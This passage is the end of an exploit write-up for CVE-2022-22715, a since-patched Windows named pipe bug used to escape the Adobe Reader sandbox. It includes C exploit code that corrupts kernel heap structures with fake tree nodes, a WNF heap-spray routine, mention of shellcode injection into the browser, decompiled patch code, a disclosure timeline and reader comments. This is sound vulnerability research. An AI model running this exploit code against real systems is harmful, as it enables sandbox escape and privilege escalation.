            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
            break;
        }
        pTempRootChunk = pRootChunkAddr;
        if (pLeftChunk > pRootChunkAddr) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pRightChunk;
            continue;
        }
        else if (pRootChunkAddr > pRightChunk) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk < pRootChunkAddr) {
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk > pRootChunkAddr) {
            pRootChunkAddr = pRightChunk;
            continue;
        }
    }

    pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
    while (pLeftChunk != 0 && pRightChunk != 0) {
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
            break;
        }
        pTempRootChunk = pRootChunkAddr;
        if (pLeftChunk > pRootChunkAddr) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pRightChunk;
            continue;
        }
        else if (pRootChunkAddr > pRightChunk) {
            X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk < pRootChunkAddr) {
            pRootChunkAddr = pLeftChunk;
            continue;
        }
        if (pTargetChunk > pRootChunkAddr) {
            pRootChunkAddr = pRightChunk;
            continue;
        }
    }

After all fix, it's time to pop cmd. Because Adobe Reader render process in a Job, I can't create process from it, so I inject shellcode to browser process and write a file in volume C: to complete exploit.

bbb.PNG

Patch

Microsoft patched the vulnerability in February 2022, npfs uses int type to calculate the total size and check if the total size larger than maximum ushort value.

NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
  if ( v13 )
      {
        if ( TokenInformation )
        {
          v20 = DestinationString.Length + v37.Length;
          v21 = v20 + 120;
          v22 = v20 + 122;
        }
        else
        {
          v21 = v37.Length + 96;
          v22 = v37.Length + 98;
        }
      }
      else
      {
        v21 = DestinationString.Length + 112;
        v22 = DestinationString.Length + 114;
      }
      if ( !v18 )
        v22 = v21;
      v23 = v19 + v22;
      if ( v23 <= 0xFFFE )
      {
        v28.MaximumLength = v23;
        Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}

Demonstrate how I use WNF API with a accessible SD

BOOLEAN AllocateWnfObject(DWORD dwWantedSize, PWNF_STATE_NAME pStateName) {
    NTSTATUS Status;
    HANDLE gProcessToken;
    WNF_TYPE_ID TypeID = { 0 };
    PSECURITY_DESCRIPTOR SecurityDescriptor;
    ULONG RetLength = 0;
    BOOL DaclPresent, SaclPresent;
    BOOL DaclDefault, SaclDefault, OwnerDefault, GroupDefault;
    PACL pDacl, pSacl;
    PSID pOwner, pGroup;
    ACE_HEADER* AceHeader;
    ACCESS_ALLOWED_ACE* pACE;
    PSECURITY_DESCRIPTOR GetSD;
    
    Status = fNtOpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &gProcessToken);
    if (Status < 0) {
        return FALSE;
    }
    
    SecurityDescriptor = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); // initialize a new SD

    GetSD = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

    Status = fNtQuerySecurityObject(
        gProcessToken,
        OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
        GetSD,
        0x1000,
        &RetLength); // Query a accessible SD from process token

    if (Status < 0)
    {
        return FALSE;
    }

    // Get Owner/Group/DACL/SACL from accessible security object
    GetSecurityDescriptorOwner(GetSD, &pOwner, &OwnerDefault);
    GetSecurityDescriptorGroup(GetSD, &pGroup, &GroupDefault);
    GetSecurityDescriptorDacl(GetSD, &DaclPresent, &pDacl, &DaclDefault);
    GetSecurityDescriptorSacl(GetSD, &SaclPresent, &pSacl, &SaclDefault);

    AceHeader = (ACE_HEADER*)&pDacl[1];
    while ((DWORD)AceHeader < (DWORD)pDacl + (DWORD)pDacl->AclSize)
    {
        if (AceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
        {
            pACE = (ACCESS_ALLOWED_ACE*)&AceHeader[0];
            pACE->Mask = GENERIC_ALL;
        }
        AceHeader = (ACE_HEADER*)((DWORD)AceHeader + (DWORD)AceHeader->AceSize);
    }

   // Set it to new SD
    InitializeSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorOwner(SecurityDescriptor, pOwner, OwnerDefault);
    SetSecurityDescriptorGroup(SecurityDescriptor, pGroup, GroupDefault);
    SetSecurityDescriptorDacl(SecurityDescriptor, DaclPresent, pDacl, DaclDefault);
    SetSecurityDescriptorSacl(SecurityDescriptor, SaclPresent, pSacl, SaclDefault);

    HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GetSD);

    Status = fNtCreateWnfStateName(
        pStateName,
        WnfTemporaryStateName,      
        WnfDataScopeSession,    
        FALSE,
        &TypeID,
        0x1000,
        SecurityDescriptor);  // invoke WNF API with new SD

    if (Status < 0)
    {
        return FALSE;
    }

    PVOID lpBuff = (PVOID)malloc(dwWantedSize - 0x20);
    memset(lpBuff, 0x00, dwWantedSize - 0x20);

    Status = fNtUpdateWnfStateData(
        pStateName,
        lpBuff,
        dwWantedSize - 0x20,
        &TypeID,
        NULL,
        0,
        0);

    if (Status < 0)
    {
        return FALSE;
    }
    free(lpBuff);
    return TRUE;
}

Reference

Security Update Guide - Microsoft Security Response Center

CVE-2022-22715 PoC

Time line

2021-10-17 Reported vulnerability to Microsoft via TianfuCup 2021
2022-02-08 Microsoft released patch, assigned CVE-2022-22715
2022-08-23 Blogpost is publiced in partnership with Adobe Product Security Incident Response Team

Comments
Write a Comment
  • Huangkx2015 reply

    膜拜一下,大佬有入门kernel的书籍推荐嘛

  • wmealing reply

    IMPRESSIVE.

  • /* This file was generated by the Hex-Rays decompiler version 7.7.0.220118.

    Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

    Detected compiler: Visual C++

    */

    #include <windows.h>

    #include <defs.h>

    //-------------------------------------------------------------------------

    // Function declarations

    NTSTATUS __fastcall NpCancelWaiter(_QWORD *, const UNICODE_STRING *, int, __int64);

    void *__cdecl memset(void *, int Val, size_t Size);

    NTSTATUS RtlUnicodeStringPrintf(PUNICODE_STRING DestinationString, NTSTRSAFE_PCWSTR pszFormat, ...);

    NTSTATUS __fastcall NpAddWaiter(__int64, LARGE_INTEGER, __int64, struct _UNICODE_STRING *String);

    // __int64 __fastcall RtlGetAppContainerSidType(_QWORD, _QWORD); weak

    // __int64 __fastcall RtlGetAppContainerParent(_QWORD, _QWORD); weak

    // __int64 PsGetCurrentProcess(void); weak

    NTSTATUS __fastcall NpWaitForNamedPipe(struct _DEVICE_OBJECT *DeviceObject, struct _IRP *Irp);

    NTSTATUS __fastcall NpCreateCcb(__int64 a1, PFILE_OBJECT FileObject, int a3

  • https://gitlab.com/kouzhudong